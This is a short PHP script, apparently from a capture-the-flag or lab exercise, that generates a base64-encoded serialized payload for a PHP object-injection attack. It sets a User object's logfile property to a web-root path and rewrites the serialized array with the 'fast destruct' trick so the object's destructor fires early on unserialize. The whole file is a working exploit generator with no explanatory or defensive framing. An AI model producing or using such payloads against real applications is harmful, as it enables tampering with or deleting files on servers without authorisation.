<?php

class User
{
    protected $logfile;

    function __construct()
    {
        $this->logfile = "/var/www/html/dummy_file";
    }
}

$u = new User();
$a = array(0=>$u, "useless string");
$so = serialize($a);
$so = str_replace('i:1;s:14:"useless string";', 'i:0;s:14:"useless string";', $so); # Using the fast destruct technique
$bso = base64_encode($so);
echo $bso . "\n";

?>